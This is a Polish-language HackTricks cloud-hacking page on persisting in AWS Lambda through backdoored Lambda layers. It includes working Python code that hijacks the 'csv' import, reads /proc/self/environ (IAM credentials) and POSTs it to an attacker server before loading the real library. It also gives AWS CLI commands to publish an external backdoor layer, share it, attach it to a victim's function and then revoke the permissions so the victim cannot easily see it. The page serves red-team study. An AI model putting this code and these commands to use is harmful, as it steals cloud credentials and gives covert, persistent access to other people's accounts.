AWS - Lambda Layers Persistence

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Lambda Layers

Warstwa Lambda to archiwum .zip, które może zawierać dodatkowy kod lub inne treści. Warstwa może zawierać biblioteki, niestandardowy runtime, dane lub pliki konfiguracyjne.

Możliwe jest dołączenie do pięciu warstw na funkcję. Gdy dołączasz warstwę do funkcji, zawartość jest wyodrębniana do katalogu /opt w środowisku wykonawczym.

Z domyślnie, warstwy, które tworzysz, są prywatne dla twojego konta AWS. Możesz zdecydować się na udostępnienie warstwy innym kontom lub uczynić warstwę publiczną. Jeśli twoje funkcje korzystają z warstwy opublikowanej przez inne konto, twoje funkcje mogą nadal używać wersji warstwy po jej usunięciu lub po cofnięciu twojego dostępu do warstwy. Jednak nie możesz utworzyć nowej funkcji ani zaktualizować funkcji korzystających z usuniętej wersji warstwy.

Funkcje wdrożone jako obraz kontenera nie używają warstw. Zamiast tego pakujesz swój preferowany runtime, biblioteki i inne zależności do obrazu kontenera podczas budowania obrazu.

Python load path

Ścieżka ładowania, której Python użyje w lambda, jest następująca:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Sprawdź, jak drugie i trzecie pozycje są zajmowane przez katalogi, w których lambda layers dekompresują swoje pliki: /opt/python/lib/python3.9/site-packages i /opt/python

Caution

Jeśli atakujący zdołałby wprowadzić tylne drzwi do używanej warstwy lambda lub dodać jedną, która będzie wykonywać dowolny kod, gdy załadowana jest wspólna biblioteka, będzie mógł wykonywać złośliwy kod przy każdym wywołaniu lambda.

Dlatego wymagania są następujące:

  • Sprawdź biblioteki, które są ładowane przez kod ofiary
  • Utwórz bibliotekę proxy z warstwami lambda, która będzie wykonywać niestandardowy kod i ładować oryginalną bibliotekę.

Wstępnie załadowane biblioteki

Warning

Podczas nadużywania tej techniki napotkałem trudność: Niektóre biblioteki są już załadowane w czasie działania Pythona, gdy twój kod jest wykonywany. Spodziewałem się znaleźć takie rzeczy jak os czy sys, ale nawet biblioteka json była załadowana.
Aby nadużyć tej techniki utrzymywania, kod musi załadować nową bibliotekę, która nie jest załadowana, gdy kod jest wykonywany.

Dzięki kodowi Pythona takiemu jak ten, możliwe jest uzyskanie listy bibliotek, które są wstępnie załadowane w czasie działania Pythona w lambda:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

A oto lista (sprawdź, czy biblioteki takie jak os lub json są już tam)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

I oto lista bibliotek, które lambda zawiera zainstalowane domyślnie: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Backdooring Lambda Layer

W tym przykładzie załóżmy, że kod docelowy importuje csv. Będziemy backdoorować import biblioteki csv.

Aby to zrobić, stworzymy katalog csv z plikiem __init__.py w ścieżce, która jest ładowana przez lambda: /opt/python/lib/python3.9/site-packages
Następnie, gdy lambda zostanie wykonana i spróbuje załadować csv, nasz plik __init__.py zostanie załadowany i wykonany.
Ten plik musi:

  • Wykonać nasz ładunek
  • Załadować oryginalną bibliotekę csv

Możemy zrobić to obie rzeczy za pomocą:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Następnie utwórz zip z tym kodem w ścieżce python/lib/python3.9/site-packages/__init__.py i dodaj go jako warstwę lambda.

Możesz znaleźć ten kod w https://github.com/carlospolop/LambdaLayerBackdoor

Zintegrowany ładunek wyśle dane uwierzytelniające IAM na serwer PIERWSZY RAZ, gdy zostanie wywołany lub PO zresetowaniu kontenera lambda (zmiana kodu lub zimna lambda), ale inne techniki takie jak poniższe mogą być również zintegrowane:

AWS - Lambda Steal Requests

Zewnętrzne warstwy

Należy zauważyć, że możliwe jest użycie warstw lambda z zewnętrznych kont. Co więcej, lambda może używać warstwy z zewnętrznego konta, nawet jeśli nie ma uprawnień.
Należy również zauważyć, że maksymalna liczba warstw, które może mieć lambda, wynosi 5.

Dlatego, aby poprawić wszechstronność tej techniki, atakujący mógłby:

  • Wprowadzić tylną furtkę do istniejącej warstwy użytkownika (nic nie jest zewnętrzne)
  • Utworzyć warstwę w swoim koncie, dać koncie ofiary dostęp do używania warstwy, skonfigurować warstwę w Lambdzie ofiary i usunąć uprawnienia.
  • Lambda nadal będzie mogła używać warstwy, a ofiara nie będzie miała łatwego sposobu na pobranie kodu warstwy (oprócz uzyskania powłoki rev wewnątrz lambdy)
  • Ofiara nie zobaczy zewnętrznych warstw używanych z aws lambda list-layers
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks